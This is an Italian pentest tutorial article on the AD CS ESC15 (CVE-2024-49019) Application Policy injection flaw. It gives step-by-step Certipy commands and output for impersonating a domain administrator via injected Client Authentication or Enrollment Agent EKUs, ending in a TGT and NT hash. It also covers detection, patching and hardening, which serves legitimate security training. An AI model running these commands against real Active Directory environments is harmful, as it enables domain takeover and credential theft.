ESC15 ADCS (CVE-2024-49019): EKUwu e Injection di Application Policies

ESC15 (CVE-2024-49019) permette di iniettare Application Policies in template V1 AD CS non patchati. Un attaccante può ottenere Client Authentication o Enrollment Agent.
- Pubblicato il 2026-03-10
- Tempo di lettura: 3 min
ESC15 è una tecnica di Active Directory Privilege Escalation tramite AD CS scoperta da Justin Bollinger (TrustedSec) e identificata come CVE-2024-49019, soprannominata dalla community EKUwu.
Questa vulnerabilità colpisce Certificate Authority non patchate (pre-Novembre 2024) e permette a un attaccante di iniettare Application Policies arbitrarie dentro un certificato emesso da template V1.
In pratica l’attaccante può aggiungere EKU non previsti dal template, ottenendo capacità che il template non dovrebbe concedere.
Esempio tipico:
- template WebServer
- EKU previsto →
Server Authentication - attaccante inietta →
Client Authentication
Il certificato risultante può quindi essere usato per login Active Directory.
Questo rende ESC15 concettualmente simile a:
- ESC1 (SAN injection)
- ESC2 (Any Purpose EKU)
ma sfrutta una vulnerabilità nel trattamento dell’estensione:
szOID_APPLICATION_CERT_POLICIESQuando è possibile ESC15 #
Condizioni tipiche:
- CA non patchata CVE-2024-49019
- template Schema Version 1
- template con Enrollee Supplies Subject
- attaccante con enrollment rights
Indicatori:
Schema Version : 1
Enrollee Supplies Subject : TrueIdentificazione con Certipy #
certipy find -u attacker@corp.local -p 'Passw0rd!'Output tipico:
Template Name : WebServer
Schema Version : 1
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1Questo indica che il template può essere abusato se la CA non è patchata.
Exploitation ESC15 #
L’exploit sfrutta il parametro:
-application-policiesche permette di iniettare Application Policies nel CSR.
Scenario 1 — Impersonation tramite Client Authentication #
L’attaccante richiede un certificato con Client Authentication.
Step 1 — Richiesta certificato #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template WebServer \
-upn administrator@corp.local \
-sid S-1-5-21-...-500 \
-application-policies "Client Authentication"Output:
Successfully requested certificate
Saving certificate to administrator.pfxIl certificato ora contiene Client Authentication EKU.
Step 2 — Autenticazione LDAPS #
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shellOutput:
Authenticated to CORP\AdministratorL’attaccante ottiene accesso LDAP come Administrator.
Scenario 2 — Abuse Enrollment Agent #
In questo scenario l’attaccante crea un Enrollment Agent certificate.
Step 1 — Creare agent certificate #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template WebServer \
-application-policies "Certificate Request Agent"Output:
Saving certificate attacker.pfxOra l’attaccante possiede un Enrollment Agent certificate.
Step 2 — Richiedere certificato per Administrator #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\AdministratorOutput:
Saving certificate administrator.pfxStep 3 — Autenticazione #
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100Output:
Got TGT
Got NT hash for administratorImpatto ESC15 #
Se sfruttato con successo può portare a:
- Domain Admin
- Kerberos impersonation
- Enrollment agent abuse
- compromissione completa del dominio
Detection ESC15 #
Indicatori principali:
- template Schema Version 1
- Enrollee Supplies Subject
- enrollment rights ampi
Audit utile:
certipy findoppure audit manuale dei template PKI.
Mitigation ESC15 #
La difesa principale è patchare la CA.
Microsoft ha rilasciato patch per CVE-2024-49019 nel Novembre 2024.
Patch #
Aggiornare tutti i CA server.
Questo impedisce l’iniezione di Application Policies.
Hardening template #
Best practice:
- evitare Schema V1 templates
- migrare a V2 / V3
- limitare enrollment rights
- disabilitare template inutilizzati
Workaround temporaneo (non raccomandato) #
Disabilitare l’estensione Application Policies nel CSR.
certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.21.10
net stop certsvc
net start certsvc⚠️ Questo può rompere richieste legittime.
FAQ — ESC15 ADCS #
Cos’è ESC15? #
Una vulnerabilità AD CS che permette Application Policy injection nei template V1.
Qual è il bug? #
La CA accetta Application Policies inserite nel CSR anche se non previste dal template.
Serve una CA non patchata? #
Sì. La vulnerabilità riguarda CA pre-patch Novembre 2024.
ESC15 può portare a Domain Admin? #
Sì, tramite impersonation o enrollment agent abuse.
Key Takeaway: se una CA non è patchata per CVE-2024-49019, un attaccante può iniettare EKU arbitrari nei certificati V1 e usarli per autenticazione privilegiata.
ESC15 è una delle vulnerabilità AD CS più recenti e dimostra quanto i template V1 siano pericolosi. Guida completa agli attacchi AD CS: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc16-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/ https://trustedsec.com/







